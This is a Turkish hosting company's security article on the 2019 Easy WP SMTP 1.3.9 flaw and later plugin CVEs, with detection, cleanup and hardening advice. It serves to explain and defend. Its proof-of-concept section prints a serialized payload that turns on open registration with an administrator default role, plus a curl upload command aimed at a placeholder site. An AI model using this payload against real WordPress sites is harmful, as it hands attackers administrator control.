Easy WP SMTP Kritik Guvenlik Acigi ve Cozumu

WordPress Easy WP SMTP Güvenlik Açığı ve Çözümü

Kısaca

Easy WP SMTP eklentisinin 1.3.9 sürümünde, yetki kontrolü eksik admin_init() fonksiyonu yüzünden kimliği doğrulanmamış saldırganlar site ayarlarını değiştirip kendilerine yönetici hesabı oluşturabiliyordu. Açık 17 Mart 2019’da çıkan 1.3.9.1 ile kapatıldı; ancak aynı eklentide sonradan 2020 (debug log ifşası) ve 2024 (bilgi sızdırma) zafiyetleri de çıktı. Çözüm her zaman aynı: eklentiyi güncel tutmak, debug log’u kapatmak ve siteyi temizlemek.

  • Etkilenen sürüm 1.3.9; güvenli sürüm 1.3.9.1 ve sonrası (CVE-2019-25141).
  • Saldırganlar users_can_register ve default_role seçeneklerini değiştirip gizli yönetici hesabı açıyordu.
  • Güncelleme + şifre yenileme + kullanıcı/veritabanı denetimi şart; sunucu tarafı WAF olayı aynı gün durduruyor.

WordPress’te mail() fonksiyonunun güvenlik gerekçesiyle kapatıldığı sunucularda e-posta gönderimi genellikle SMTP üzerinden sağlanır. Bu ihtiyacı karşılayan en yaygın eklentilerden biri olan Easy WP SMTP, bir dönem 300.000’den fazla sitede aktifti. Mart 2019’da bu eklentinin 1.3.9 sürümünde kritik bir güvenlik açığı ortaya çıktı: kimliği doğrulanmamış bir saldırgan, WordPress seçenekleri değiştirip siteye sızabiliyor, hatta kötü niyetli kod çalıştırabiliyordu. Açık, yaması yayınlanmadan önce dahi aktif olarak istismar ediliyordu.

Bu rehberde açığın teknik kökenini, nasıl sömürüldüğünü, hangi sürümlerin etkilendiğini ve sitenizi hem temizlemek hem de bir daha benzer olaylar yaşamamak için atmanız gereken adımları adım adım ele alıyoruz. Easy WP SMTP’nin WordPress tarihindeki en çok sömürülen zafiyetlerinden biri olmasının sebebi, açığın yamalanmış olması değil; sitelerin güncellenmeden aylarca açık kalmasıydı.

Easy WP SMTP 1.3.9 Açığı Tam Olarak Neydi?

Resmi kayıtlarda CVE-2019-25141 olarak geçen bu zafiyet, “Missing Authorization to Arbitrary Options Update” (eksik yetkilendirme nedeniyle keyfi seçenek güncelleme) sınıfında yer alır. Açık, eklentiye 1.3.9 sürümüyle eklenen ayar içe/dışa aktarma (import/export) özelliğinden kaynaklanıyordu. Sorunun kalbinde, eklentinin admin_init kancasına (hook) bağlı çalışan fonksiyon vardı.

WordPress’te admin_init kancası yalnızca yönetici panelindeki görsel ekranlarda değil, admin-ajax.php ve admin-post.php gibi arka uç dosyaları işleme alındığında da tetiklenir. Bu dosyalar, oturum açmamış ziyaretçiler tarafından dahi çağrılabilir. Easy WP SMTP’nin import/export kodu ise hiçbir yetenek (capability) kontrolü yapmadığı için, abone seviyesindeki bir kullanıcı, hatta hiçbir hesabı olmayan bir saldırgan bile bu mantığı çalıştırabiliyordu.

Mail hosting 1 ay ücretsiz

Kodun Hangi Bölümü Sorunluydu?

Aşağıdaki kod, eklentinin easy-wp-smtp.php dosyasındaki kritik bölümüdür. admin_init() fonksiyonu; günlüğü görüntüleme/silme, ayarları içe/dışa aktarma ve veritabanı seçeneğini güncelleme işlerini yapar. Dikkat edin: hiçbir yerde “bu kullanıcının yetkisi var mı?” sorusu sorulmaz.

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
function admin_init() {
  if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
     add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
     add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
  }

  //view log file
  if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
      if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
    $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
    ...
    $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
    header( 'Content-Type: text/plain' );
    fpassthru( $logfile );
    die;
      }
  }

  //ice aktarma istegi mi?
  $is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
  if ( $is_import_settings ) {
    $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
    $in = unserialize( $in_raw );
    ...
    $data = unserialize( $in[ 'data' ] );
    foreach ( $data as $key => $value ) {
       update_option( $key, $value );   // YETKI KONTROLU YOK
    }
    ...
  }
}

İki ayrı tehlike vardır. Birincisi, update_option() döngüsü sayesinde saldırgan veritabanındaki herhangi bir seçeneği değiştirebilir. İkincisi, kod kullanıcı tarafından sağlanan veriyi unserialize() ile işlediği için, uygun bir nesne (gadget) zincirinin varlığı halinde PHP Object Injection üzerinden uzaktan kod yürütmeye (RCE) kapı aralıyordu.

Saldırı Nasıl Çalışıyordu? (Kavram İspatı)

Saldırganların en çok kullandığı yöntem, kayıt açmayı açıp varsayılan kullanıcı rolünü yönetici yapmaktı. Böylece site dışarıdan normal görünse de, saldırgan istediği an “yönetici” yetkisinde bir hesap açabiliyordu. Aşağıdaki adımlar, açığın sömürülme mantığını göstermek içindir.

  1. Kötü niyetli bir ayar dosyası hazırlanır. Bu dosya, users_can_register seçeneğini 1 ve default_role seçeneğini administrator yapacak şekilde serileştirilmiş veri içerir:
    a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}
  2. Dosya, kimlik doğrulaması olmadan yüklenir. Saldırgan tek bir HTTP isteğiyle ayar içe aktarmayı tetikler:
    $ curl https://HEDEF-SITE.COM/wp-admin/admin-ajax.php
      -F 'action=swpsmtp_clear_log'
      -F 'swpsmtp_import_settings=1'
      -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'
  3. Sonuç: Site artık herkesin kayıt olmasına izin verir ve her yeni kayıt doğrudan yönetici olur. Saldırgan basit bir kayıt formuyla tam yetkili hesabını oluşturur.

Bu açığın sinsi tarafı, mevcut kullanıcıların rollerini panelden incelediğinizde her şeyin normal görünmesidir. Veritabanında wp_user_roles seçeneği değiştirildiğinde, “abone” görünen bir kullanıcı aslında yönetici yetenekleriyle donatılabiliyordu. Yani panelde “Kullanıcılar” sayfası sizi yanlış yönlendirebilir.

Açığın Açabildiği Diğer Kapılar

  • Uzaktan kod yürütme (RCE): unserialize() çağrıları nedeniyle PHP Object Injection ile sunucuda kod çalıştırma riski.
  • Günlük dosyası manipülasyonu: Korsanlar günlük dosya adını değiştirip başka dosyaları okuyabilir/silebilirdi.
  • SMTP kimlik bilgisi sızması: Yapılandırılmış SMTP sunucusu, kullanıcı adı ve şifrenin dışa aktarılması; bu bilgiler daha sonra sizin adınıza spam gönderiminde kullanılabiliyordu.

Etkilenen ve Güvenli Sürümler

Açık yalnızca 1.3.9 sürümünde mevcuttu. Easy WP SMTP geliştiricilerine durum 15 Mart 2019‘da bildirildi ve düzeltilmiş sürüm 1.3.9.1, 17 Mart 2019‘da yayınlandı. Yani açık aktif sömürülürken yama yalnızca iki gün içinde çıktı; asıl sorun, sitelerin güncellemeyi haftalarca uygulamaması oldu.

Sürüm Durum Açıklama
1.3.9 ve öncesi import/export kodu Açık Yetki kontrolsüz admin_init(); keyfi seçenek güncelleme (CVE-2019-25141).
1.3.9.1 Güvenli Import/export işlemlerine yetenek (capability) kontrolü eklendi.
1.4.2 ve öncesi Ayrı risk Debug log ifşası (CVE-2020-35234); aşağıda ayrıntılı.
1.4.3 Güvenli Eklenti klasörüne index.html eklenerek dizin listeleme engellendi.
SendLayer 2.3.0 ve öncesi Ayrı risk Arayüz üzerinden hassas bilgi sızması (CVE-2024-3073).
2.3.1 ve sonrası Güvenli Güncel bakımı yapılan, SendLayer sahipliğinde sürüm.

Sitenizin Etkilenip Etkilenmediğini Nasıl Anlarsınız?

1.3.9 sürümünü bir dönem kullandıysanız, aşağıdaki kontrolleri sırayla uygulamanızı tavsiye ederiz. Bu kontroller, klasik bir “gizli yönetici” arka kapısını ortaya çıkarmak için tasarlanmıştır.

  • Ayarlar > Genel sayfasını açın: Site URL, e-posta adresi ve özellikle “Herkes kayıt olabilir” (Membership) seçeneği değiştirilmiş mi kontrol edin. Beklemediğiniz halde kayıt açıksa, bu güçlü bir ihlal işaretidir.
  • Kullanıcılar sayfasını inceleyin: Tanınmayan hesaplar, değiştirilmiş yönetici e-posta adresleri ve yeni eklenen yönetici rolleri olup olmadığına bakın.
  • Veritabanında wp_options tablosundaki wp_user_roles kaydını denetleyin; rol/yetenek tanımlarının oynanıp oynanmadığını doğrulayın.
  • Dosya değişiklik tarihlerini tarayın: Son dönemde beklenmedik şekilde değiştirilmiş PHP dosyaları, gizlenmiş arka kapılara işaret edebilir.
  • Tüm şifreleri yenileyin: WordPress yönetici, veritabanı, FTP/SSH ve hosting paneli şifrelerini mutlaka değiştirin.

Kontrol Sonrası Yapılacaklar Listesi

Adım Yapılacak Öncelik
1 Eklentiyi en güncel sürüme güncelleyin (veya güvenli bir alternatife geçin) Çok yüksek
2 Bilinmeyen yönetici hesaplarını silin, tüm şifreleri sıfırlayın Çok yüksek
3 “Herkes kayıt olabilir” seçeneklerini ve default_role değerini eski haline getirin Yüksek
4 Yedek varsa temiz bir sürümle karşılaştırıp değişen dosyaları geri yükleyin Yüksek
5 Güvenlik tarayıcısı (Wordfence vb.) ile tam tarama yapın Orta
6 WAF/güvenlik duvarını etkinleştirin, debug log’u kapatın Orta

Easy WP SMTP’nin Diğer Zafiyetleri: Hikaye 2019’da Bitmiyor

Bu eklenti yıllar içinde birden fazla kritik zafiyet yaşadı. Sadece 1.3.9 olayına odaklanmak yanıltıcı olur; aynı mantıkla güncel tutmanız gereken iki olay daha vardır.

CVE-2020-35234 – Debug Log İfşası (Aralık 2020)

Easy WP SMTP’nin isteğe bağlı debug log özelliği, gönderilen tüm e-postaları (başlık ve gövde dahil) rastgele adlı bir .txt dosyasına yazıyordu (örn. 5fcdb91308506_debug_log.txt). Bu dosya, eklentinin /wp-content/plugins/easy-wp-smtp/ klasörü içinde tutuluyordu. Sorun, bu klasörde dizin listelemeyi engelleyen bir index.html dosyasının bulunmamasıydı.

Dizin listelemenin açık olduğu sunucularda saldırgan bu log dosyasını bulup açabiliyor, içindeki şifre sıfırlama bağlantılarını görüyor ve REST API üzerinden kullanıcı adlarını tespit ettikten sonra yönetici şifresini sıfırlayarak hesabı ele geçiriyordu. Yama olan 1.4.3, klasöre index.html ekleyerek bu listelemeyi kapattı. Yine de en sağlıklı yaklaşım, gerçekten ihtiyacınız yoksa debug log’u tamamen kapalı tutmaktır.

CVE-2024-3073 – Arayüz Üzerinden Bilgi Sızması (2024)

Eklentinin SendLayer sahipliğine geçmesinden sonra, 2.3.0 ve öncesi sürümlerde arayüz üzerinden hassas bilgilerin (örn. SMTP şifresi) yetkisiz kullanıcılara sızdırılabildiği bir zafiyet daha rapor edildi ve 2.3.1 ile giderildi. Bu da eklentiyi her zaman güncel tutmanın neden vazgeçilmez olduğunu gösterir.

Bir Daha Yaşanmaması İçin: Kalıcı Önlemler

Tek bir eklentinin açığı, aslında daha büyük bir gerçeği gösterir: WordPress güvenliği katmanlı olmalı. Tek bir güncelleme sizi korur, ama tek bir kontrol noktasına güvenmek risklidir. Aşağıdaki önlemleri birlikte uygulamak, benzer olayların etkisini en aza indirir.

  • Otomatik güncellemeleri etkinleştirin: 1.3.9 olayında yama 2 günde çıktı; zarar gören siteler haftalarca güncellemeyenlerdi. WordPress çekirdeği, tema ve eklentilerde otomatik güncellemeyi açın.
  • En az yetki ilkesi: Gerçekten ihtiyacı olmayan hesaplara yönetici rolü vermeyin. Yazar/editör seviyesi çoğu kullanıcı için yeterlidir.
  • Kullanmadığınız eklentileri kaldırın: Pasif (deaktif) bir eklenti bile sunucuda dosya olarak durur ve bazen sömürülebilir. Kullanmıyorsanız tamamen silin.
  • Dizin listelemeyi kapatın: Sunucu yapılandırması veya .htaccess ile Options -Indexes uygulayarak hassas dosyaların dışarıdan listelenmesini önleyin.
  • Sunucu tarafı WAF kullanın: Eklentinizi güncellemeyi unutsanız bile, sunucu düzeyindeki bir güvenlik duvarı bu tür istismar isteklerini kaynağında durdurabilir.
  • Düzenli yedek alın: Günlük yedek, bir ihlal sonrası temiz bir noktaya dönmenin en hızlı yoludur.

Hosting Altyapısının Bu Olaydaki Rolü

Easy WP SMTP olayının gösterdiği en önemli ders şudur: zafiyet uygulama katmanındaydı, ama zararı belirleyen genellikle sunucu katmanıydı. Örneğin debug log ifşası (CVE-2020-35234), yalnızca dizin listelemenin açık olduğu sunuculardan etkilenebilir bir hale geliyordu. Benzer şekilde, sunucuda çalışan bir güvenlik duvarı, 1.3.9 istismar isteklerini eklenti güncellenmeden önce dahi engelleyebiliyordu.

Alastyr’ın WordPress hosting ve paylaşımlı hosting altyapısında bu tür zafiyetlerin etkisini sınırlamak için çok katmanlı bir model kullanılıyor. Imunify360 ve CageFS ile kullanıcılar birbirinden yalıtılıyor; honeypot ve tehdit istihbaratıyla beslenen çift WAF, bilinen istismar imzalarını istek seviyesinde durduruyor. CloudLinux, bir hesabın diğer hesapları etkilemesini engelliyor; günlük yedekleme ise olası bir ihlal sonrası temiz noktaya dönüş sağlıyor. Hesaplara özel PHP sürüm seçici sayesinde güncel ve güvenli bir PHP sürümünde çalışmak da mümkün.

E-posta tarafında ise Easy WP SMTP gibi üçüncü parti SMTP eklentilerine bağımlılığı azaltabilirsiniz: Alastyr’ın kendi geliştirdiği, %100 KVKK uyumlu e-posta hosting altyapısı, yüksek inbox oranlarıyla güvenilir gönderim sağlar; böylece site içinden e-posta iletimi için bir eklentiye yük binmez. Daha izole bir ortam isteyenler ise VPS sunucu veya bulut sunucu üzerinde tam kontrol elde edebilir.

Sıkça Sorulan Sorular

Easy WP SMTP 1.3.9 açığı hangi sürümde düzeltildi?

Açık (CVE-2019-25141), 17 Mart 2019’da yayınlanan 1.3.9.1 sürümünde düzeltildi. 1.3.9 sürümünü kullanıyorsanız mümkün olan en kısa sürede 1.3.9.1 veya daha güncel bir sürüme yükseltmeniz gerekir. Sorun yalnızca 1.3.9 sürümünde mevcuttu.

Bu açık kimliği doğrulanmamış kullanıcılar tarafından da sömürülebiliyor muydu?

Evet. Sorunlu kod, eklentinin admin_init() fonksiyonundaydı ve bu fonksiyon admin-ajax.php ile admin-post.php üzerinden oturum açmamış ziyaretçiler tarafından da tetikleniyordu. Hiçbir yetki (capability) kontrolü yapılmadığı için saldırganın herhangi bir hesabının olması gerekmiyordu.

Sitemin hacklenip hacklenmediğini nasıl anlarım?

Ayarlar > Genel sayfasında “Herkes kayıt olabilir” seçeneğinin beklenmedik şekilde açılıp açılmadığına, Kullanıcılar sayfasında tanınmayan yönetici hesaplarına ve veritabanındaki wp_user_roles kaydına bakın. Ayrıca son dönemde değişmiş PHP dosyalarını taramak gizli arka kapıları ortaya çıkarabilir.

Saldırganlar açığı tam olarak ne için kullanıyordu?

En yaygın senaryo, users_can_register seçeneğini açıp default_role değerini administrator yapmaktı. Böylece site dışarıdan normal görünse de, basit bir kayıt işlemiyle saldırgan kendine tam yetkili bir yönetici hesabı oluşturuyordu. Ayrıca SMTP kimlik bilgilerini dışa aktarıp spam gönderiminde kullanma riski de vardı.

Hacklendiyse sitemi nasıl temizlerim?

Önce eklentiyi güncelleyin, ardından tüm şifreleri (WordPress, veritabanı, FTP/SSH, panel) yenileyin. Bilinmeyen yönetici hesaplarını silin, değiştirilmiş ayarları eski haline getirin, mümkünse temiz bir yedekle dosyaları karşılaştırın ve son olarak tam bir güvenlik taraması yapın. Eminseniz, son temiz yedeğe dönmek en hızlı çözümdür.

Easy WP SMTP’nin debug log özelliği neden riskliydi?

1.4.2 ve öncesi sürümlerde debug log, gönderilen tüm e-postaları (şifre sıfırlama bağlantıları dahil) eklenti klasöründeki bir .txt dosyasına yazıyordu. Dizin listelemenin açık olduğu sunucularda saldırganlar bu dosyayı bulup yönetici şifresini sıfırlayabiliyordu (CVE-2020-35234). 1.4.3 bu sorunu giderdi; yine de gerçekten gerekmedikçe debug log’u kapalı tutmak en sağlıklı yaklaşımdır.

Bu tür açıklardan tamamen korunmak mümkün mü?

Hiçbir yazılım %100 hatasız değildir, ama riski çok azaltabilirsiniz: otomatik güncellemeleri açın, kullanmadığınız eklentileri silin, en az yetki ilkesini uygulayın, dizin listelemeyi kapatın ve sunucu tarafında bir WAF kullanın. Sunucu düzeyindeki güvenlik duvarı, siz güncellemeyi unutsanız bile bilinen istismar isteklerini engelleyebilir.

Hangi SMTP eklentisini kullanmalıyım?

Güncel olarak bakımı yapılan, geniş kullanıcı tabanına sahip ve düştüğü zafiyetleri hızla yamayan eklentiler tercih edilmelidir. Ayrıca eklenti bağımlılığını azaltmak için, hosting sağlayıcınızın sunduğu sağlam bir e-posta altyapısı üzerinden gönderim yapmak da iyi bir seçenektir; bu, site içinde çalışan ek bir bileşenin saldırı yüzeyini ortadan kaldırır.

Sunucu/hosting tarafı bu olaya nasıl etki ediyor?

Çok doğrudan etki ediyor. Debug log ifşası yalnızca dizin listelemenin açık olduğu sunucularda sömürülebiliyordu; 1.3.9 istismar istekleri ise sunucu tarafı bir WAF tarafından eklenti güncellenmeden önce durdurulabiliyordu. Imunify360, CageFS ve CloudLinux gibi yalıtım teknolojileri bir hesabın diğer hesapları etkilemesini önlerken, günlük yedek olası bir ihlalden hızlı dönüş sağlar.

WordPress’inizi sunucu seviyesinde koruyun

Imunify360, CageFS ve çift WAF ile güçlendirilmiş Alastyr WordPress hosting, eklenti açıklarının etkisini istek seviyesinde sınırlar; günlük yedek ve ücretsiz SSL ile yanınızdadır.

WordPress Hosting Paketlerini İncele

Türkiye'nin En Çok Tavsiye Edilen Domain, Hosting ve Bulut Servis Sağlayıcısı
İnternet sitesi Alastyr İnternet Sitesi
Yazı oluşturuldu 511

Benzer yazılar

Aramak istediğinizi üstte yazmaya başlayın ve aramak için enter tuşuna basın. İptal için ESC tuşuna basın.

Üste dön